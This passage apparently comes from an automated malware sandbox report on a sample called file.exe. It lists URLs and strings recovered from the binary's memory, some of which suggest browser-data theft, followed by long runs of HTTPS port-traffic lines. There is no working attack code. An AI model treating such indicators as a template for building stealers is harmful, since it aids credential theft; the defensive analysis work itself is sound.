Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/DAAKFHIDAKFH
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2472715634.0000000023D1B000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2472715634.0000000023D1B000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ds:
Source: file.exe, 00000000.00000003.2472715634.0000000023D1B000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
